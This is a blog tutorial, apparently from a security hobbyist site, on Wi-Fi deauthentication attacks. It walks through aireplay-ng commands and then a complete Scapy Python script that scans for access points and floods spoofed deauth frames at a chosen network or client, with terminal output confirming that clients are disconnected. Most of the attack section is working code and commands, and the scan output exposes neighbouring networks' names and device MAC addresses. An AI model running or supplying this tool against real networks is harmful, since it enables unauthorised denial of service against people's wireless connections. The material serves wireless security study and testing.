Wireless "Deauth" Attack using Aireplay-ng, Python, and Scapy
What are Deauth Attacks Used For?
Performing a Deauth Attack the “Easy” Way
root@bt:~# ifconfig <snip loopback> wlan0 Link encap:Ethernet HWaddr 00:c0:ca:69:a3:8b UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) root@bt:~# airmon-ng start wlan0 Found 3 processes that could cause trouble. If airodump-ng, aireplay-ng or airtun-ng stops working after a short period of time, you may want to kill (some of) them! PID Name 523 dhclient3 628 dhclient3 1540 dhclient3 Process with PID 1540 (dhclient3) is running on interface wlan0 Interface Chipset Driver wlan0 Realtek rtl8187 - [phy0] (monitor mode enabled on mon0) root@bt:~# ifconfig <snip loopback> mon0 Link encap:UNSPEC HWaddr 00-C0-CA-69-A3-8B-30-30-00-00-00-00-00-00-00-00 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:15 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:5085 (5.0 KB) TX bytes:0 (0.0 B) wlan0 Link encap:Ethernet HWaddr 00:c0:ca:69:a3:8b UP BROADCAST MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
After we’ve created our monitor mode interface, we can use the tool “airodump-ng” to scan across different channels to enumerate both access points and their associated BSSID’s as well as client stations, their MAC addresses, and any known SSIDs (found by monitoring Probe Requests).
root@bt:~# airodump-ng mon0 CH 6 ][ Elapsed: 17 mins ][ 2013-01-21 22:49 BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID E4:CE:8F:69:ED:7D -1 0 0 0 113 -1 <length: 0> 28:37:37:47:4B:0A -35 19 0 0 1 54e. WPA2 CCMP PSK Bill Wi the Science Fi 58:6D:8F:3B:96:F8 -9 27 3 0 11 54e WPA2 CCMP PSK raidersec 78:CA:39:41:F9:1F -47 17 0 0 1 54e. WPA2 CCMP PSK <length: 0> A0:21:B7:7D:02:82 -48 15 2 0 6 54e WPA2 CCMP PSK <length: 6> 00:24:14:10:15:F0 -58 21 0 0 11 54e. WPA2 CCMP PSK <length: 1> C0:3F:0E:1A:DF:22 -64 8 0 0 6 54e WPA TKIP PSK <length: 6> 68:7F:74:F9:B9:AC -68 1 4 0 6 54e. WPA2 CCMP PSK <length: 0> 00:24:14:11:59:C0 -1 0 2 0 128 -1 WPA <length: 0> 02:05:17:7D:0E:FC -1 9 0 0 11 11 OPN print server 5587C5 E0:F8:47:0C:9F:42 -64 10 1 0 11 54e WPA2 CCMP PSK MILKISGOOD 2C:41:38:43:65:0A -68 2 0 0 6 54e. WPA2 CCMP PSK HP-Print-0A-Photosmart 5520 BSSID STATION PWR Rate Lost Frames Probe (not associated) 6C:3E:6D:3A:15:79 -63 0 - 1 0 2 4610X WIRELESS PLUS,BakerBrosDeli (not associated) 00:23:15:33:C2:60 -52 0 - 1 0 13 belkin.308 (not associated) 68:B5:99:35:C2:A3 -60 0 - 1 689 20 2WIRE854 (not associated) 00:20:00:BC:26:D5 -65 0 - 1 0 5 (not associated) 20:AA:4B:E4:F8:85 -66 0 - 1 0 2 (not associated) 2C:27:D7:8A:DD:E1 -67 0 - 1 0 2 NETGEAR04 (not associated) 2C:9E:FC:0E:EC:98 -62 0 - 1 293 13 BJNPSETUP (not associated) 7C:1E:52:05:D7:78 -68 0 - 1 0 1 MM7MJ (not associated) 1C:C1:DE:E3:5F:86 -38 0 - 1 245 94 2WIRE629 E4:CE:8F:69:ED:7D 10:40:F3:F1:43:4C -63 0 - 1 4 2 00:24:14:11:59:C0 54:04:A6:35:3E:9C -57 0 - 1e 0 8 02:05:17:7D:0E:FC 00:20:00:55:87:C5 -70 0 - 1 52 9 E0:F8:47:0C:9F:42 00:17:AB:61:81:DD -1 1 - 0 0 1
Let’s target the “raidersec” network. First, we see that the network is on channel 11, so we need to set both our wlan0 and mon0 interfaces to use this channel using the “iwconfig” command. Then, after grabbing the BSSID from airodump-ng (note: we could just use the ESSID, however we’re trying to be comprehensive), we can use the tool “aireplay-ng” to inject deauthentication packets into the network by spoofing the BSSID of the access point. This will cause clients to disconnect from the network, and staying offline until we stop sending out deauth packets. Here’s a sample session (you can’t see it, but this does indeed disconnect all my devices connected to the “raidersec” network).
root@bt:~# iwconfig wlan0 channel 11 root@bt:~# iwconfig mon0 channel 11 root@bt:~# aireplay-ng --deauth 0 -a 58:6D:8F:3B:96:F8 mon0 23:03:26 Waiting for beacon frame (BSSID: 58:6D:8F:3B:96:F8) on channel 11 NB: this attack is more effective when targeting a connected wireless client (-c <client's mac>). 23:03:26 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8] 23:03:27 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8] 23:03:27 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8] 23:03:28 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8] 23:03:28 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8] 23:03:29 Sending DeAuth to broadcast -- BSSID: [58:6D:8F:3B:96:F8]
Leveraging Scapy to Perform a Deauth Attack:
Scapy is a very powerful Python module which allows us to sniff, create, manipulate, filter, and display network traffic down to the individual packet. You can find the basics of how to use Scapy here. We can leverage this functionality to create a tool which performs the same attack seen above. Let’s see how we can implement this.
First, let’s create a script which will print the BSSID and ESSID of all detected wireless networks. We will use the os module to perform channel hopping so that we can enumerate networks on multiple channels (note: this functionality was first seen on airoscapy.py). We will store all this information in a dictionary which associates the BSSID and channel with the found ESSID.
As a quick side note, you will note in airoscapy.py that the channel can be found by looking at the third Dot11Elt layer of the packet, and performing both the ord() and int() functions on it. This was a clever insight, and I wanted to make particular note of it. We can verify this from the following Wireshark capture of a beacon frame from our raidersec AP:
Here is the code to sniff for access points:
import argparse from multiprocessing import Process import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import signal import threading def add_network(pckt, known_networks): # Check to see if it's a hidden SSID (this could be resolved later using out Deauth attack) essid = pckt[Dot11Elt].info if '\x00' not in pckt[Dot11Elt].info and pckt[Dot11Elt].info != '' else 'Hidden SSID' bssid = pckt[Dot11].addr3 # This insight was included in airoscapy.py (http://www.thesprawl.org/projects/airoscapy/) channel = int(ord(pckt[Dot11Elt:3].info)) if bssid not in known_networks: known_networks[bssid] = ( essid, channel ) print "{0:5}\t{1:30}\t{2:30}".format(channel, essid, bssid) # Channel hopper - This code is very similar to that found in airoscapy.py (http://www.thesprawl.org/projects/airoscapy/) def channel_hopper(interface): while True: try: channel = random.randrange(1,13) os.system("iwconfig %s channel %d" % (interface, channel)) time.sleep(1) except KeyboardInterrupt: break def stop_channel_hop(signal, frame): # set the stop_sniff variable to True to stop the sniffer global stop_sniff stop_sniff = True channel_hop.terminate() channel_hop.join() def keep_sniffing(pckt): return stop_sniff if __name__ == "__main__": parser = argparse.ArgumentParser(description='aircommand.py - Utilize many wireless security features using the Scapy python module') parser.add_argument('-i', '--interface', dest='interface', type=str, required=True, help='Interface to use for sniffing and packet injection') args = parser.parse_args() networks = {} stop_sniff = False print 'Press CTRL+c to stop sniffing..' print '='*100 + '\n{0:5}\t{1:30}\t{2:30}\n'.format('Channel','ESSID','BSSID') + '='*100 channel_hop = Process(target = channel_hopper, args=(args.interface,)) channel_hop.start() signal.signal(signal.SIGINT, stop_channel_hop) # Sniff Beacon and Probe Response frames to extract AP info sniff( lfilter = lambda x: (x.haslayer(Dot11Beacon) or x.haslayer(Dot11ProbeResp)), stop_filter=keep_sniffing, prn=lambda x: add_network(x,networks) )
It’s important to mention that this code implements Scapy sniff() function’s “stop_filter” parameter, which was introduced in version 2.1.1. As of this writing, the version included in Backtrack is 2.0.1, so if you are using Backtrack, you will need to upgrade (or just patch your sendrecv.py file). Using this callback may seem somewhat unnecessary, but it will help in a big project I’m currently working on (and will release sometime soon! ).
Let’s take a look at the output:
root@bt:/pentest/crux# python sniff-aps.py -i mon0 /usr/lib/pymodules/python2.6/scapy/crypto/cert.py:10: DeprecationWarning: the sha module is deprecated; use the hashlib module instead import os, sys, math, socket, struct, sha, hmac, string, time /usr/lib/pymodules/python2.6/scapy/crypto/cert.py:11: DeprecationWarning: The popen2 module is deprecated. Use the subprocess module. import random, popen2, tempfile Press CTRL+c to stop sniffing.. ==================================================================================================== Channel ESSID BSSID ==================================================================================================== 6 Hidden SSID a0:21:b7:7d:02:82 11 raidersec 58:6d:8f:3b:96:f8 1 Hidden SSID 78:ca:39:41:f9:1f 1 Bill Wi the Science Fi 28:37:37:47:4b:0a 1 Hidden SSID c8:60:00:95:45:26 1 TTUnet 02:2b:8b:c3:b0:c2 6 Hidden SSID c0:3f:0e:1a:df:22 6 TTUnet 00:24:14:11:2c:c0 6 HP-Print-D6-Deskjet 3520 series a0:b3:cc:d0:28:d6 6 HP-Print-0A-Photosmart 5520 2c:41:38:43:65:0a 6 HP-Print-10-Photosmart 5520 a0:b3:cc:d4:91:10 11 MILKISGOOD e0:f8:47:0c:9f:42 11 print server 5587C5 02:05:17:7d:0e:fc 11 Hidden SSID 00:24:14:10:15:f0 11 TTUnet 00:24:14:11:3b:10 11 Brianâs MacBook Pro b8:8d:12:42:fc:2c 11 TTUnet d8:c7:c8:18:93:30 11 TTUnet 00:24:14:11:8d:20 6 Hidden SSID 68:7f:74:f9:b9:ac
Nice. Now that we have a dictionary containing our BSSIDs, ESSIDs, and channels, let’s add the ability to perform a deauth_attack() function will take in our dictionary entry for a particular BSSID as well as an optional client MAC address (for targeted attacks) and perform a deauth attack. We will use Scapy’s layered packet construction to make our deauth packet and send it using the send() function. Let’s first take a look at the perform_deauth() function:
def perform_deauth(bssid, client, count): pckt = Dot11(addr1=client, addr2=bssid, addr3=bssid) / Dot11Deauth() cli_to_ap_pckt = None if client != 'FF:FF:FF:FF:FF:FF' : cli_to_ap_pckt = Dot11(addr1=bssid, addr2=client, addr3=bssid) / Dot11Deauth() print 'Sending Deauth to ' + client + ' from ' + bssid if not count: print 'Press CTRL+C to quit' # We will do like aireplay does and send the packets in bursts of 64, then sleep for half a sec or so while count != 0: try: for i in range(64): # Send out deauth from the AP send(pckt) # If we're targeting a client, we will also spoof deauth from the client to the AP if client != 'FF:FF:FF:FF:FF:FF': send(cli_to_ap_pckt) # If count was -1, this will be an infinite loop count -= 1 except KeyboardInterrupt: break
Now, here’s the code we’ll tack on to our main program flow to call the perform_deauth() function after getting relevant information from the user:
# Reset our signal handler signal.signal(signal.SIGINT, signal.SIG_DFL) target_bssid = raw_input('Enter a BSSID to perform an deauth attack (q to quit): ') while target_bssid not in networks: if target_bssid == 'q' : sys.exit(0) raw_input('BSSID not detected... Please enter another (q to quit): ') # Get our interface to the correct channel print 'Changing ' + args.interface + ' to channel ' + str(networks[target_bssid][1]) os.system("iwconfig %s channel %d" % (args.interface, networks[target_bssid][1])) # Now we have a bssid that we have detected, let's get the client MAC target_client = raw_input('Enter a client MAC address (Default: FF:FF:FF:FF:FF:FF): ') if not target_client: target_client = 'FF:FF:FF:FF:FF:FF' deauth_pckt_count = raw_input('Number of deauth packets (Default: -1 [constant]): ') if not deauth_pckt_count: deauth_pckt_count = -1 perform_deauth(target_bssid, target_client, deauth_pckt_count)
Finally, let’s run it and see the output:
root@bt:/pentest/crux# python sniff-aps.py -i mon0 /usr/lib/pymodules/python2.6/scapy/crypto/cert.py:10: DeprecationWarning: the sha module is deprecated; use the hashlib module instead import os, sys, math, socket, struct, sha, hmac, string, time /usr/lib/pymodules/python2.6/scapy/crypto/cert.py:11: DeprecationWarning: The popen2 module is deprecated. Use the subprocess module. import random, popen2, tempfile Press CTRL+c to stop sniffing.. ==================================================================================================== Channel ESSID BSSID ==================================================================================================== 1 Hidden SSID 78:ca:39:41:f9:1f 1 Bill Wi the Science Fi 28:37:37:47:4b:0a 11 Hidden SSID 00:24:14:10:15:f0 11 raidersec 58:6d:8f:3b:96:f8 ^CEnter a BSSID to perform an deauth attack (q to quit): 58:6d:8f:3b:96:f8 Changing mon0 to channel 11 Enter a client MAC address (Default: FF:FF:FF:FF:FF:FF): Number of deauth packets (Default: -1 [constant]): Sending Deauth to FF:FF:FF:FF:FF:FF from 58:6d:8f:3b:96:f8 . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. . Sent 1 packets. <snip>
Worked like a charm! It disconnected all clients on the raidersec WLAN. You can find the full source here.
Scapy is an extremely powerful tool. By leveraging its packet sniffing and injecting capabilities, we can replicate many attacks on wireless infrastructure.
Source: RaiderSec: Wireless “Deauth” Attack using Aireplay-ng, Python, and Scapy